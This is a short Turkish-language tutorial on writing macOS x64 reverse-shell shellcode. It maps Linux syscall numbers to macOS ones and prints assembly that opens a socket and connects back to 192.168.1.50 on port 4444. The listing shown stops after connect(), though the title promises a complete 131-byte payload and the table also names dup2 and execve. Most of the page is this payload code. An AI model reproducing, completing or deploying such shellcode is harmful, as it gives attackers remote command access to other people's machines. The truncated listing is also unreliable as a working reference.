Modern Shellcode - macOS x64 - 131 Bytes
macOS'ta syscall'lar icin 0x2000000 tabanlı offset kullanilir. Linux ile ayni POSIX yapisi ancak farkli syscall numaralari.
macOS Syscall Farklari
Linux x64 macOS x64
socket=41 0x2000061
connect=42 0x2000062
dup2=33 0x2000090
execve=59 0x200003b
ABI: rax = 0x2000000 + syscall_no
Assembly macOS x64
; socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)
mov rax, 0x2000061
mov rdi, 2
mov rsi, 1
mov rdx, 6
syscall
mov r12, rax
; sockaddr_in: port=4444, ip=192.168.1.50
sub rsp, 16
mov word [rsp], 2
mov word [rsp+2], 0x5c11
mov byte [rsp+4], 192
mov byte [rsp+5], 168
mov byte [rsp+6], 1
mov byte [rsp+7], 50
; connect()
mov rax, 0x2000062
mov rdi, r12
mov rsi, rsp
mov rdx, 16
syscall
M-SERIES Apple Silicon
Apple M1/M2/M3 (ARM64) icin ayri shellcode gerekir. Rosetta 2 x64 shellcode'u dogrudan calistirmaz.